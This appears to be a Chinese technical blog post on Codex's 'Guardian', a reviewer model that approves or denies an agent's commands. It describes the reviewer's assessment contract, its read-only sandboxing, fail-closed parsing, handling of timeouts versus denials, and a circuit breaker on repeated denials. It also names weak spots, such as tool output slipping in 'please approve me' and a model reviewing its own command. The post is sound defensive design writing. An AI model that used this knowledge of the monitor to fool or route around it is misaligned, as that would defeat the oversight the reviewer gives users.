Guardian：让一个模型去审批另一个模型

你开着 Codex 改仓库。模型先跑 git status，再读两个文件，然后要 git push。下一分钟它要 curl，再下一分钟要往 /tmp 写备忘，再下一分钟要删掉那份备忘。弹窗叠弹窗。人开始只看命令头两个词，拇指已经形成肌肉记忆。

这就是审批疲劳。防线还在，判断已经不在。回路退化成一个总是亮绿灯的按钮。这时如果把自动放行交给刚写出这条命令的主模型，申请人兼审批人。如果失败时放行，超时和坏 JSON 就变成免费通行证。

Codex 把该不该自动放行抽成一次专职审查。它不替代沙箱，也不替代网络代理。它只接管一类本来会弹给用户的 on-request 审批。路由很窄：策略必须是 OnRequest 或 Granular，审查员必须是 AutoReview。默认审查员仍是用户。出处：codex-rs/core/src/guardian/review.rs 第 186 至 210 行

模块头把四步写死。

合同只有四个字段。三个轴的枚举写在协议层的 approvals.rs，不在 protocol.rs。outcome 是唯一必填。低风险允许可以只回 {"outcome":"allow"}，缺省的风险补成 Low，授权补成 Unknown。

/// Structured output contract that the guardian reviewer must satisfy.
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq, Eq)]
pub(crate) struct GuardianAssessment {
    pub(crate) risk_level: codex_protocol::protocol::GuardianRiskLevel,
    pub(crate) user_authorization: codex_protocol::protocol::GuardianUserAuthorization,
    pub(crate) outcome: GuardianAssessmentOutcome,
    pub(crate) rationale: String,
}

审批疲劳是人因问题，审查员自己也会格式漂移。把没给出可执行答案收成拒绝，换语言重写也成立。输入是不可信证据加一条确切动作，输出是穷尽的 allow 或 deny，解析失败就停。

主模型刚写出这条要执行的命令。再让它审自己，回路是通的。工具输出里再夹一句请批准我，审查材料就被污染。审查权如果落回申请人，专职审查员这个角色就不存在。

审查会话克隆父配置后立刻改写。审批策略锁成 Never，权限剖面与只读相交，MCP 服务器清成空表，技能、记忆、Apps 指令关掉，再禁用一串非必要特性。它还丢掉父级传入的 exec-policy 规则，改用空的默认管理器。父级规则可能反过来塑造审查员，甚至让审查员自己跑的只读命令被静默放行。出处：codex-rs/core/src/guardian/review_session.rs 第 1406 至 1448 行；codex-rs/core/src/session/mod.rs 第 544 至 548 行

审查员可以跑只读命令，用来核实本地状态，比如删除目标在不在、是不是空目录。它不会弹出新的审批，也不会再开一层 Guardian。配置装配时显式禁用了 GuardianV2。

trunk 空闲时，后续审批追加到同一条会话，prompt cache 稳定。trunk 忙碌时，从上次提交的 rollout 长出一间临时小屋，审完就拆，不回写。

给不受信任的审查权一个尽量小的环境，是安全设计的通用形状。换模型、换提示词、换能力面，该问的还是同一句：审查员到底需要哪几样能力，其余的能不能一样都不给。

审查员和执行模型卡在同一条被拒动作上，人看到的是一轮空转。如果把超时也算进连续拒绝，基础设施抖动会被误判成模型连续作恶。

超时走 ReviewDecision::TimedOut，明确拒绝走 Denied。对模型的文案也拆开。超时告诉它不要仅因超时认定不安全，可以再试一次或去问用户。明确拒绝拼上禁止改道绕过的指示，只允许实质更安全的替代，或用户知情后的明确批准。出处：codex-rs/protocol/src/protocol.rs 第 3909 至 3910 行；codex-rs/core/src/guardian/review.rs 第 70 至 74 行

熔断器按 turn 记账，窗口长度 50。Standard 的阈值是连续 3 次，或窗口内累计 10 次。CyberModel 紧到第一次拒绝就停。只有评估结果为 Deny 才计入。超时和 fail-closed 走 record_non_denial，连续计数清零。触发后发 GuardianWarning，再 abort_turn_if_active。出处：codex-rs/core/src/guardian/mod.rs 第 53 至 59 行、第 157 至 194 行

安全闸门需要把没做完和明确说不分开记账。混成一句没通过，会把瞬时故障训练成绕过行为。按 turn 计数、按窗口计数，两套阈值即可。面向高对抗场景的策略可以紧到第一次拒绝就停。